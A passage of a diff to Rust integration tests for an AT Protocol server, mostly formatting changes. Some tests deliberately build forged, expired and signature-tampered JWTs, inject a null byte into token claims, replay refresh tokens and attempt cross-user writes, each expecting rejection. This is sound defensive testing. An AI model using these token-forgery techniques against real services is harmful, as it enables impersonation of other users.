267267- if let Ok(data) = verify_access_token(&create_custom_jwt(&header, &unicode_injection, &key_bytes), &key_bytes) {
417417+ if let Ok(data) = verify_access_token(
418418+ &create_custom_jwt(&header, &unicode_injection, &key_bytes),
419419+ &key_bytes,
420420+ ) {
268421 assert!(!data.claims.sub.contains('\0'));
269422 }
270423}
···308461 "iat": Utc::now().timestamp(), "exp": Utc::now().timestamp() + 3600,
309462 "jti": "test", "scope": SCOPE_ACCESS
310463 });
311311- assert!(verify_access_token(&create_custom_jwt(&header, &claims, &key_bytes), &key_bytes).is_ok());
464464+ assert!(
465465+ verify_access_token(&create_custom_jwt(&header, &claims, &key_bytes), &key_bytes).is_ok()
466466+ );
312467313468 let valid_token = create_access_token(did, &key_bytes).expect("create token");
314469 let parts: Vec<&str> = valid_token.split('.').collect();
315470 let mut almost_valid = URL_SAFE_NO_PAD.decode(parts[2]).unwrap();
316471 almost_valid[0] ^= 1;
317317- let almost_valid_token = format!("{}.{}.{}", parts[0], parts[1], URL_SAFE_NO_PAD.encode(&almost_valid));
318318- let completely_invalid_token = format!("{}.{}.{}", parts[0], parts[1], URL_SAFE_NO_PAD.encode(&[0xFFu8; 64]));
472472+ let almost_valid_token = format!(
473473+ "{}.{}.{}",
474474+ parts[0],
475475+ parts[1],
476476+ URL_SAFE_NO_PAD.encode(&almost_valid)
477477+ );
478478+ let completely_invalid_token = format!(
479479+ "{}.{}.{}",
480480+ parts[0],
481481+ parts[1],
482482+ URL_SAFE_NO_PAD.encode(&[0xFFu8; 64])
483483+ );
319484 let _ = verify_access_token(&almost_valid_token, &key_bytes);
320485 let _ = verify_access_token(&completely_invalid_token, &key_bytes);
321486}
···327492328493 let key_bytes = generate_user_key();
329494 let forged_token = create_access_token("did:plc:fake-user", &key_bytes).unwrap();
330330- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
495495+ let res = http_client
496496+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
331497 .header("Authorization", format!("Bearer {}", forged_token))
332332- .send().await.unwrap();
333333- assert_eq!(res.status(), StatusCode::UNAUTHORIZED, "Forged token must be rejected");
498498+ .send()
499499+ .await
500500+ .unwrap();
501501+ assert_eq!(
502502+ res.status(),
503503+ StatusCode::UNAUTHORIZED,
504504+ "Forged token must be rejected"
505505+ );
334506335507 let (access_jwt, _did) = create_account_and_login(&http_client).await;
336508 let parts: Vec<&str> = access_jwt.split('.').collect();
···338510 let mut payload: Value = serde_json::from_slice(&payload_bytes).unwrap();
339511340512 payload["exp"] = json!(Utc::now().timestamp() - 3600);
341341- let expired_token = format!("{}.{}.{}", parts[0], URL_SAFE_NO_PAD.encode(serde_json::to_string(&payload).unwrap()), parts[2]);
342342- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
513513+ let expired_token = format!(
514514+ "{}.{}.{}",
515515+ parts[0],
516516+ URL_SAFE_NO_PAD.encode(serde_json::to_string(&payload).unwrap()),
517517+ parts[2]
518518+ );
519519+ let res = http_client
520520+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
343521 .header("Authorization", format!("Bearer {}", expired_token))
344344- .send().await.unwrap();
522522+ .send()
523523+ .await
524524+ .unwrap();
345525 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
346526347527 let mut tampered_payload: Value = serde_json::from_slice(&payload_bytes).unwrap();
348528 tampered_payload["sub"] = json!("did:plc:attacker");
349529 tampered_payload["iss"] = json!("did:plc:attacker");
350350- let tampered_token = format!("{}.{}.{}", parts[0], URL_SAFE_NO_PAD.encode(serde_json::to_string(&tampered_payload).unwrap()), parts[2]);
351351- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
530530+ let tampered_token = format!(
531531+ "{}.{}.{}",
532532+ parts[0],
533533+ URL_SAFE_NO_PAD.encode(serde_json::to_string(&tampered_payload).unwrap()),
534534+ parts[2]
535535+ );
536536+ let res = http_client
537537+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
352538 .header("Authorization", format!("Bearer {}", tampered_token))
353353- .send().await.unwrap();
539539+ .send()
540540+ .await
541541+ .unwrap();
354542 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
355543}
356544···360548 let http_client = client();
361549 let (access_jwt, _did) = create_account_and_login(&http_client).await;
362550363363- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
551551+ let res = http_client
552552+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
364553 .header("Authorization", format!("Bearer {}", access_jwt))
365365- .send().await.unwrap();
554554+ .send()
555555+ .await
556556+ .unwrap();
366557 assert_eq!(res.status(), StatusCode::OK);
367558368368- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
559559+ let res = http_client
560560+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
369561 .header("Authorization", format!("bearer {}", access_jwt))
370370- .send().await.unwrap();
562562+ .send()
563563+ .await
564564+ .unwrap();
371565 assert_eq!(res.status(), StatusCode::OK);
372566373373- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
567567+ let res = http_client
568568+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
374569 .header("Authorization", format!("Basic {}", access_jwt))
375375- .send().await.unwrap();
570570+ .send()
571571+ .await
572572+ .unwrap();
376573 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
377574378378- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
575575+ let res = http_client
576576+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
379577 .header("Authorization", &access_jwt)
380380- .send().await.unwrap();
578578+ .send()
579579+ .await
580580+ .unwrap();
381581 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
382582383383- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
583583+ let res = http_client
584584+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
384585 .header("Authorization", "Bearer ")
385385- .send().await.unwrap();
586586+ .send()
587587+ .await
588588+ .unwrap();
386589 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
387590}
388591···392595 let http_client = client();
393596 let (access_jwt, _did) = create_account_and_login(&http_client).await;
394597395395- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
598598+ let res = http_client
599599+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
396600 .header("Authorization", format!("Bearer {}", access_jwt))
397397- .send().await.unwrap();
601601+ .send()
602602+ .await
603603+ .unwrap();
398604 assert_eq!(res.status(), StatusCode::OK);
399605400400- let logout = http_client.post(format!("{}/xrpc/com.atproto.server.deleteSession", url))
606606+ let logout = http_client
607607+ .post(format!("{}/xrpc/com.atproto.server.deleteSession", url))
401608 .header("Authorization", format!("Bearer {}", access_jwt))
402402- .send().await.unwrap();
609609+ .send()
610610+ .await
611611+ .unwrap();
403612 assert_eq!(logout.status(), StatusCode::OK);
404613405405- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
614614+ let res = http_client
615615+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
406616 .header("Authorization", format!("Bearer {}", access_jwt))
407407- .send().await.unwrap();
617617+ .send()
618618+ .await
619619+ .unwrap();
408620 assert_eq!(res.status(), StatusCode::UNAUTHORIZED);
409621}
410622···414626 let http_client = client();
415627 let (access_jwt, _did) = create_account_and_login(&http_client).await;
416628417417- let deact = http_client.post(format!("{}/xrpc/com.atproto.server.deactivateAccount", url))
629629+ let deact = http_client
630630+ .post(format!("{}/xrpc/com.atproto.server.deactivateAccount", url))
418631 .header("Authorization", format!("Bearer {}", access_jwt))
419632 .json(&json!({}))
420420- .send().await.unwrap();
633633+ .send()
634634+ .await
635635+ .unwrap();
421636 assert_eq!(deact.status(), StatusCode::OK);
422637423423- let res = http_client.get(format!("{}/xrpc/com.atproto.server.getSession", url))
638638+ let res = http_client
639639+ .get(format!("{}/xrpc/com.atproto.server.getSession", url))
424640 .header("Authorization", format!("Bearer {}", access_jwt))
425425- .send().await.unwrap();
641641+ .send()
642642+ .await
643643+ .unwrap();
426644 assert_eq!(res.status(), StatusCode::OK);
427645 let body: Value = res.json().await.unwrap();
428646 assert_eq!(body["active"], false);
429647430430- let post_res = http_client.post(format!("{}/xrpc/com.atproto.repo.createRecord", url))
648648+ let post_res = http_client
649649+ .post(format!("{}/xrpc/com.atproto.repo.createRecord", url))
431650 .header("Authorization", format!("Bearer {}", access_jwt))
432651 .json(&json!({
433652 "repo": _did,
···438657 "createdAt": "2024-01-01T00:00:00Z"
439658 }
440659 }))
441441- .send().await.unwrap();
660660+ .send()
661661+ .await
662662+ .unwrap();
442663 assert_eq!(post_res.status(), StatusCode::UNAUTHORIZED);
443664 let post_body: Value = post_res.json().await.unwrap();
444665 assert_eq!(post_body["error"], "AccountDeactivated");
···452673 let handle = format!("rt-replay-jwt-{}", ts);
453674 let email = format!("rt-replay-jwt-{}@example.com", ts);
454675455455- let create_res = http_client.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
676676+ let create_res = http_client
677677+ .post(format!("{}/xrpc/com.atproto.server.createAccount", url))
456678 .json(&json!({ "handle": handle, "email": email, "password": "test-password-123" }))
457457- .send().await.unwrap();
679679+ .send()
680680+ .await
681681+ .unwrap();
458682 assert_eq!(create_res.status(), StatusCode::OK);
459683 let account: Value = create_res.json().await.unwrap();
460684 let did = account["did"].as_str().unwrap();
···462686 let pool = sqlx::postgres::PgPoolOptions::new()
463687 .max_connections(2)
464688 .connect(&get_db_connection_string().await)
465465- .await.unwrap();
689689+ .await
690690+ .unwrap();
466691 let code: String = sqlx::query_scalar!(
467692 "SELECT code FROM channel_verifications WHERE user_id = (SELECT id FROM users WHERE did = $1) AND channel = 'email'",
468693 did
469694 ).fetch_one(&pool).await.unwrap();
470695471471- let confirm = http_client.post(format!("{}/xrpc/com.atproto.server.confirmSignup", url))
696696+ let confirm = http_client
697697+ .post(format!("{}/xrpc/com.atproto.server.confirmSignup", url))
472698 .json(&json!({ "did": did, "verificationCode": code }))
473473- .send().await.unwrap();
699699+ .send()
700700+ .await
701701+ .unwrap();
474702 assert_eq!(confirm.status(), StatusCode::OK);
475703 let confirmed: Value = confirm.json().await.unwrap();
476704 let refresh_jwt = confirmed["refreshJwt"].as_str().unwrap().to_string();
477705478478- let first = http_client.post(format!("{}/xrpc/com.atproto.server.refreshSession", url))
706706+ let first = http_client
707707+ .post(format!("{}/xrpc/com.atproto.server.refreshSession", url))
479708 .header("Authorization", format!("Bearer {}", refresh_jwt))
480480- .send().await.unwrap();
709709+ .send()
710710+ .await
711711+ .unwrap();
481712 assert_eq!(first.status(), StatusCode::OK);
482713483483- let replay = http_client.post(format!("{}/xrpc/com.atproto.server.refreshSession", url))
714714+ let replay = http_client
715715+ .post(format!("{}/xrpc/com.atproto.server.refreshSession", url))
484716 .header("Authorization", format!("Bearer {}", refresh_jwt))
485485- .send().await.unwrap();
717717+ .send()
718718+ .await
719719+ .unwrap();
486720 assert_eq!(replay.status(), StatusCode::UNAUTHORIZED);
487721}
+413-101
tests/lifecycle_record.rs
···2626 }
2727 });
2828 let create_res = client
2929- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
2929+ .post(format!(
3030+ "{}/xrpc/com.atproto.repo.putRecord",
3131+ base_url().await
3232+ ))
3033 .bearer_auth(&jwt)
3134 .json(&create_payload)
3235 .send()
3336 .await
3437 .expect("Failed to send create request");
3535- assert_eq!(create_res.status(), StatusCode::OK, "Failed to create record");
3636- let create_body: Value = create_res.json().await.expect("create response was not JSON");
3838+ assert_eq!(
3939+ create_res.status(),
4040+ StatusCode::OK,
4141+ "Failed to create record"
4242+ );
4343+ let create_body: Value = create_res
4444+ .json()
4545+ .await
4646+ .expect("create response was not JSON");
3747 let uri = create_body["uri"].as_str().unwrap();
3848 let initial_cid = create_body["cid"].as_str().unwrap().to_string();
3939- let params = [("repo", did.as_str()), ("collection", collection), ("rkey", &rkey)];
4949+ let params = [
5050+ ("repo", did.as_str()),
5151+ ("collection", collection),
5252+ ("rkey", &rkey),
5353+ ];
4054 let get_res = client
4141- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
5555+ .get(format!(
5656+ "{}/xrpc/com.atproto.repo.getRecord",
5757+ base_url().await
5858+ ))
4259 .query(¶ms)
4360 .send()
4461 .await
4562 .expect("Failed to send get request");
4646- assert_eq!(get_res.status(), StatusCode::OK, "Failed to get record after create");
6363+ assert_eq!(
6464+ get_res.status(),
6565+ StatusCode::OK,
6666+ "Failed to get record after create"
6767+ );
4768 let get_body: Value = get_res.json().await.expect("get response was not JSON");
4869 assert_eq!(get_body["uri"], uri);
4970 assert_eq!(get_body["value"]["text"], original_text);
···5677 "swapRecord": initial_cid
5778 });
5879 let update_res = client
5959- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
8080+ .post(format!(
8181+ "{}/xrpc/com.atproto.repo.putRecord",
8282+ base_url().await
8383+ ))
6084 .bearer_auth(&jwt)
6185 .json(&update_payload)
6286 .send()
6387 .await
6488 .expect("Failed to send update request");
6565- assert_eq!(update_res.status(), StatusCode::OK, "Failed to update record");
6666- let update_body: Value = update_res.json().await.expect("update response was not JSON");
8989+ assert_eq!(
9090+ update_res.status(),
9191+ StatusCode::OK,
9292+ "Failed to update record"
9393+ );
9494+ let update_body: Value = update_res
9595+ .json()
9696+ .await
9797+ .expect("update response was not JSON");
6798 let updated_cid = update_body["cid"].as_str().unwrap().to_string();
6899 let get_updated_res = client
6969- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
100100+ .get(format!(
101101+ "{}/xrpc/com.atproto.repo.getRecord",
102102+ base_url().await
103103+ ))
70104 .query(¶ms)
71105 .send()
72106 .await
73107 .expect("Failed to send get-after-update request");
7474- let get_updated_body: Value = get_updated_res.json().await.expect("get-updated response was not JSON");
7575- assert_eq!(get_updated_body["value"]["text"], updated_text, "Text was not updated");
108108+ let get_updated_body: Value = get_updated_res
109109+ .json()
110110+ .await
111111+ .expect("get-updated response was not JSON");
112112+ assert_eq!(
113113+ get_updated_body["value"]["text"], updated_text,
114114+ "Text was not updated"
115115+ );
76116 let stale_update_payload = json!({
77117 "repo": did,
78118 "collection": collection,
···81121 "swapRecord": initial_cid
82122 });
83123 let stale_res = client
8484- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
124124+ .post(format!(
125125+ "{}/xrpc/com.atproto.repo.putRecord",
126126+ base_url().await
127127+ ))
85128 .bearer_auth(&jwt)
86129 .json(&stale_update_payload)
87130 .send()
88131 .await
89132 .expect("Failed to send stale update");
9090- assert_eq!(stale_res.status(), StatusCode::CONFLICT, "Stale update should cause 409");
133133+ assert_eq!(
134134+ stale_res.status(),
135135+ StatusCode::CONFLICT,
136136+ "Stale update should cause 409"
137137+ );
91138 let good_update_payload = json!({
92139 "repo": did,
93140 "collection": collection,
···96143 "swapRecord": updated_cid
97144 });
98145 let good_res = client
9999- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
146146+ .post(format!(
147147+ "{}/xrpc/com.atproto.repo.putRecord",
148148+ base_url().await
149149+ ))
100150 .bearer_auth(&jwt)
101151 .json(&good_update_payload)
102152 .send()
103153 .await
104154 .expect("Failed to send good update");
105105- assert_eq!(good_res.status(), StatusCode::OK, "Good update should succeed");
155155+ assert_eq!(
156156+ good_res.status(),
157157+ StatusCode::OK,
158158+ "Good update should succeed"
159159+ );
106160 let delete_payload = json!({ "repo": did, "collection": collection, "rkey": rkey });
107161 let delete_res = client
108108- .post(format!("{}/xrpc/com.atproto.repo.deleteRecord", base_url().await))
162162+ .post(format!(
163163+ "{}/xrpc/com.atproto.repo.deleteRecord",
164164+ base_url().await
165165+ ))
109166 .bearer_auth(&jwt)
110167 .json(&delete_payload)
111168 .send()
112169 .await
113170 .expect("Failed to send delete request");
114114- assert_eq!(delete_res.status(), StatusCode::OK, "Failed to delete record");
171171+ assert_eq!(
172172+ delete_res.status(),
173173+ StatusCode::OK,
174174+ "Failed to delete record"
175175+ );
115176 let get_deleted_res = client
116116- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
177177+ .get(format!(
178178+ "{}/xrpc/com.atproto.repo.getRecord",
179179+ base_url().await
180180+ ))
117181 .query(¶ms)
118182 .send()
119183 .await
120184 .expect("Failed to send get-after-delete request");
121121- assert_eq!(get_deleted_res.status(), StatusCode::NOT_FOUND, "Record should be deleted");
185185+ assert_eq!(
186186+ get_deleted_res.status(),
187187+ StatusCode::NOT_FOUND,
188188+ "Record should be deleted"
189189+ );
122190}
123191124192#[tokio::test]
···127195 let (did, jwt) = setup_new_user("profile-blob").await;
128196 let blob_data = b"This is test blob data for a profile avatar";
129197 let upload_res = client
130130- .post(format!("{}/xrpc/com.atproto.repo.uploadBlob", base_url().await))
198198+ .post(format!(
199199+ "{}/xrpc/com.atproto.repo.uploadBlob",
200200+ base_url().await
201201+ ))
131202 .header(header::CONTENT_TYPE, "text/plain")
132203 .bearer_auth(&jwt)
133204 .body(blob_data.to_vec())
···149220 }
150221 });
151222 let create_res = client
152152- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
223223+ .post(format!(
224224+ "{}/xrpc/com.atproto.repo.putRecord",
225225+ base_url().await
226226+ ))
153227 .bearer_auth(&jwt)
154228 .json(&profile_payload)
155229 .send()
156230 .await
157231 .expect("Failed to create profile");
158158- assert_eq!(create_res.status(), StatusCode::OK, "Failed to create profile");
232232+ assert_eq!(
233233+ create_res.status(),
234234+ StatusCode::OK,
235235+ "Failed to create profile"
236236+ );
159237 let create_body: Value = create_res.json().await.unwrap();
160238 let initial_cid = create_body["cid"].as_str().unwrap().to_string();
161239 let get_res = client
162162- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
163163- .query(&[("repo", did.as_str()), ("collection", "app.bsky.actor.profile"), ("rkey", "self")])
240240+ .get(format!(
241241+ "{}/xrpc/com.atproto.repo.getRecord",
242242+ base_url().await
243243+ ))
244244+ .query(&[
245245+ ("repo", did.as_str()),
246246+ ("collection", "app.bsky.actor.profile"),
247247+ ("rkey", "self"),
248248+ ])
164249 .send()
165250 .await
166251 .expect("Failed to get profile");
···176261 "swapRecord": initial_cid
177262 });
178263 let update_res = client
179179- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
264264+ .post(format!(
265265+ "{}/xrpc/com.atproto.repo.putRecord",
266266+ base_url().await
267267+ ))
180268 .bearer_auth(&jwt)
181269 .json(&update_payload)
182270 .send()
183271 .await
184272 .expect("Failed to update profile");
185185- assert_eq!(update_res.status(), StatusCode::OK, "Failed to update profile");
273273+ assert_eq!(
274274+ update_res.status(),
275275+ StatusCode::OK,
276276+ "Failed to update profile"
277277+ );
186278 let get_updated_res = client
187187- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
188188- .query(&[("repo", did.as_str()), ("collection", "app.bsky.actor.profile"), ("rkey", "self")])
279279+ .get(format!(
280280+ "{}/xrpc/com.atproto.repo.getRecord",
281281+ base_url().await
282282+ ))
283283+ .query(&[
284284+ ("repo", did.as_str()),
285285+ ("collection", "app.bsky.actor.profile"),
286286+ ("rkey", "self"),
287287+ ])
189288 .send()
190289 .await
191290 .expect("Failed to get updated profile");
···198297 let client = client();
199298 let (alice_did, alice_jwt) = setup_new_user("alice-thread").await;
200299 let (bob_did, bob_jwt) = setup_new_user("bob-thread").await;
201201- let (root_uri, root_cid) = create_post(&client, &alice_did, &alice_jwt, "This is the root post").await;
300300+ let (root_uri, root_cid) =
301301+ create_post(&client, &alice_did, &alice_jwt, "This is the root post").await;
202302 tokio::time::sleep(Duration::from_millis(100)).await;
203303 let reply_collection = "app.bsky.feed.post";
204304 let reply_rkey = format!("e2e_reply_{}", Utc::now().timestamp_millis());
···217317 }
218318 });
219319 let reply_res = client
220220- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
320320+ .post(format!(
321321+ "{}/xrpc/com.atproto.repo.putRecord",
322322+ base_url().await
323323+ ))
221324 .bearer_auth(&bob_jwt)
222325 .json(&reply_payload)
223326 .send()
···228331 let reply_uri = reply_body["uri"].as_str().unwrap();
229332 let reply_cid = reply_body["cid"].as_str().unwrap();
230333 let get_reply_res = client
231231- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
232232- .query(&[("repo", bob_did.as_str()), ("collection", reply_collection), ("rkey", reply_rkey.as_str())])
334334+ .get(format!(
335335+ "{}/xrpc/com.atproto.repo.getRecord",
336336+ base_url().await
337337+ ))
338338+ .query(&[
339339+ ("repo", bob_did.as_str()),
340340+ ("collection", reply_collection),
341341+ ("rkey", reply_rkey.as_str()),
342342+ ])
233343 .send()
234344 .await
235345 .expect("Failed to get reply");
···253363 }
254364 });
255365 let nested_res = client
256256- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
366366+ .post(format!(
367367+ "{}/xrpc/com.atproto.repo.putRecord",
368368+ base_url().await
369369+ ))
257370 .bearer_auth(&alice_jwt)
258371 .json(&nested_payload)
259372 .send()
260373 .await
261374 .expect("Failed to create nested reply");
262262- assert_eq!(nested_res.status(), StatusCode::OK, "Failed to create nested reply");
375375+ assert_eq!(
376376+ nested_res.status(),
377377+ StatusCode::OK,
378378+ "Failed to create nested reply"
379379+ );
263380}
264381265382#[tokio::test]
···276393 "record": { "$type": "app.bsky.feed.post", "text": "Bob trying to post as Alice", "createdAt": Utc::now().to_rfc3339() }
277394 });
278395 let write_res = client
279279- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
396396+ .post(format!(
397397+ "{}/xrpc/com.atproto.repo.putRecord",
398398+ base_url().await
399399+ ))
280400 .bearer_auth(&bob_jwt)
281401 .json(&post_payload)
282402 .send()
283403 .await
284404 .expect("Failed to send request");
285285- assert!(write_res.status() == StatusCode::FORBIDDEN || write_res.status() == StatusCode::UNAUTHORIZED,
286286- "Expected 403/401 for writing to another user's repo, got {}", write_res.status());
287287- let delete_payload = json!({ "repo": alice_did, "collection": "app.bsky.feed.post", "rkey": post_rkey });
405405+ assert!(
406406+ write_res.status() == StatusCode::FORBIDDEN
407407+ || write_res.status() == StatusCode::UNAUTHORIZED,
408408+ "Expected 403/401 for writing to another user's repo, got {}",
409409+ write_res.status()
410410+ );
411411+ let delete_payload =
412412+ json!({ "repo": alice_did, "collection": "app.bsky.feed.post", "rkey": post_rkey });
288413 let delete_res = client
289289- .post(format!("{}/xrpc/com.atproto.repo.deleteRecord", base_url().await))
414414+ .post(format!(
415415+ "{}/xrpc/com.atproto.repo.deleteRecord",
416416+ base_url().await
417417+ ))
290418 .bearer_auth(&bob_jwt)
291419 .json(&delete_payload)
292420 .send()
293421 .await
294422 .expect("Failed to send request");
295295- assert!(delete_res.status() == StatusCode::FORBIDDEN || delete_res.status() == StatusCode::UNAUTHORIZED,
296296- "Expected 403/401 for deleting another user's record, got {}", delete_res.status());
423423+ assert!(
424424+ delete_res.status() == StatusCode::FORBIDDEN
425425+ || delete_res.status() == StatusCode::UNAUTHORIZED,
426426+ "Expected 403/401 for deleting another user's record, got {}",
427427+ delete_res.status()
428428+ );
297429 let get_res = client
298298- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
299299- .query(&[("repo", alice_did.as_str()), ("collection", "app.bsky.feed.post"), ("rkey", post_rkey)])
430430+ .get(format!(
431431+ "{}/xrpc/com.atproto.repo.getRecord",
432432+ base_url().await
433433+ ))
434434+ .query(&[
435435+ ("repo", alice_did.as_str()),
436436+ ("collection", "app.bsky.feed.post"),
437437+ ("rkey", post_rkey),
438438+ ])
300439 .send()
301440 .await
302441 .expect("Failed to verify record exists");
303303- assert_eq!(get_res.status(), StatusCode::OK, "Record should still exist");
442442+ assert_eq!(
443443+ get_res.status(),
444444+ StatusCode::OK,
445445+ "Record should still exist"
446446+ );
304447}
305448306449#[tokio::test]
···317460 ]
318461 });
319462 let apply_res = client
320320- .post(format!("{}/xrpc/com.atproto.repo.applyWrites", base_url().await))
463463+ .post(format!(
464464+ "{}/xrpc/com.atproto.repo.applyWrites",
465465+ base_url().await
466466+ ))
321467 .bearer_auth(&jwt)
322468 .json(&writes_payload)
323469 .send()
···325471 .expect("Failed to apply writes");
326472 assert_eq!(apply_res.status(), StatusCode::OK);
327473 let get_post1 = client
328328- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
329329- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("rkey", "batch-post-1")])
330330- .send().await.expect("Failed to get post 1");
474474+ .get(format!(
475475+ "{}/xrpc/com.atproto.repo.getRecord",
476476+ base_url().await
477477+ ))
478478+ .query(&[
479479+ ("repo", did.as_str()),
480480+ ("collection", "app.bsky.feed.post"),
481481+ ("rkey", "batch-post-1"),
482482+ ])
483483+ .send()
484484+ .await
485485+ .expect("Failed to get post 1");
331486 assert_eq!(get_post1.status(), StatusCode::OK);
332487 let post1_body: Value = get_post1.json().await.unwrap();
333488 assert_eq!(post1_body["value"]["text"], "First batch post");
334489 let get_post2 = client
335335- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
336336- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("rkey", "batch-post-2")])
337337- .send().await.expect("Failed to get post 2");
490490+ .get(format!(
491491+ "{}/xrpc/com.atproto.repo.getRecord",
492492+ base_url().await
493493+ ))
494494+ .query(&[
495495+ ("repo", did.as_str()),
496496+ ("collection", "app.bsky.feed.post"),
497497+ ("rkey", "batch-post-2"),
498498+ ])
499499+ .send()
500500+ .await
501501+ .expect("Failed to get post 2");
338502 assert_eq!(get_post2.status(), StatusCode::OK);
339503 let get_profile = client
340340- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
341341- .query(&[("repo", did.as_str()), ("collection", "app.bsky.actor.profile"), ("rkey", "self")])
342342- .send().await.expect("Failed to get profile");
504504+ .get(format!(
505505+ "{}/xrpc/com.atproto.repo.getRecord",
506506+ base_url().await
507507+ ))
508508+ .query(&[
509509+ ("repo", did.as_str()),
510510+ ("collection", "app.bsky.actor.profile"),
511511+ ("rkey", "self"),
512512+ ])
513513+ .send()
514514+ .await
515515+ .expect("Failed to get profile");
343516 let profile_body: Value = get_profile.json().await.unwrap();
344517 assert_eq!(profile_body["value"]["displayName"], "Batch User");
345518 let update_writes = json!({
···350523 ]
351524 });
352525 let update_res = client
353353- .post(format!("{}/xrpc/com.atproto.repo.applyWrites", base_url().await))
526526+ .post(format!(
527527+ "{}/xrpc/com.atproto.repo.applyWrites",
528528+ base_url().await
529529+ ))
354530 .bearer_auth(&jwt)
355531 .json(&update_writes)
356532 .send()
···358534 .expect("Failed to apply update writes");
359535 assert_eq!(update_res.status(), StatusCode::OK);
360536 let get_updated_profile = client
361361- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
362362- .query(&[("repo", did.as_str()), ("collection", "app.bsky.actor.profile"), ("rkey", "self")])
363363- .send().await.expect("Failed to get updated profile");
537537+ .get(format!(
538538+ "{}/xrpc/com.atproto.repo.getRecord",
539539+ base_url().await
540540+ ))
541541+ .query(&[
542542+ ("repo", did.as_str()),
543543+ ("collection", "app.bsky.actor.profile"),
544544+ ("rkey", "self"),
545545+ ])
546546+ .send()
547547+ .await
548548+ .expect("Failed to get updated profile");
364549 let updated_profile: Value = get_updated_profile.json().await.unwrap();
365365- assert_eq!(updated_profile["value"]["displayName"], "Updated Batch User");
550550+ assert_eq!(
551551+ updated_profile["value"]["displayName"],
552552+ "Updated Batch User"
553553+ );
366554 let get_deleted_post = client
367367- .get(format!("{}/xrpc/com.atproto.repo.getRecord", base_url().await))
368368- .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post"), ("rkey", "batch-post-1")])
369369- .send().await.expect("Failed to check deleted post");
370370- assert_eq!(get_deleted_post.status(), StatusCode::NOT_FOUND, "Batch-deleted post should be gone");
555555+ .get(format!(
556556+ "{}/xrpc/com.atproto.repo.getRecord",
557557+ base_url().await
558558+ ))
559559+ .query(&[
560560+ ("repo", did.as_str()),
561561+ ("collection", "app.bsky.feed.post"),
562562+ ("rkey", "batch-post-1"),
563563+ ])
564564+ .send()
565565+ .await
566566+ .expect("Failed to check deleted post");
567567+ assert_eq!(
568568+ get_deleted_post.status(),
569569+ StatusCode::NOT_FOUND,
570570+ "Batch-deleted post should be gone"
571571+ );
371572}
372573373373-async fn create_post_with_rkey(client: &reqwest::Client, did: &str, jwt: &str, rkey: &str, text: &str) -> (String, String) {
574574+async fn create_post_with_rkey(
575575+ client: &reqwest::Client,
576576+ did: &str,
577577+ jwt: &str,
578578+ rkey: &str,
579579+ text: &str,
580580+) -> (String, String) {
374581 let payload = json!({
375582 "repo": did, "collection": "app.bsky.feed.post", "rkey": rkey,
376583 "record": { "$type": "app.bsky.feed.post", "text": text, "createdAt": Utc::now().to_rfc3339() }
377584 });
378585 let res = client
379379- .post(format!("{}/xrpc/com.atproto.repo.putRecord", base_url().await))
586586+ .post(format!(
587587+ "{}/xrpc/com.atproto.repo.putRecord",
588588+ base_url().await
589589+ ))
380590 .bearer_auth(jwt)
381591 .json(&payload)
382592 .send()
···384594 .expect("Failed to create record");
385595 assert_eq!(res.status(), StatusCode::OK);
386596 let body: Value = res.json().await.unwrap();
387387- (body["uri"].as_str().unwrap().to_string(), body["cid"].as_str().unwrap().to_string())
597597+ (
598598+ body["uri"].as_str().unwrap().to_string(),
599599+ body["cid"].as_str().unwrap().to_string(),
600600+ )
388601}
389602390603#[tokio::test]
···392605 let client = client();
393606 let (did, jwt) = setup_new_user("list-records-test").await;
394607 for i in 0..5 {
395395- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
608608+ create_post_with_rkey(
609609+ &client,
610610+ &did,
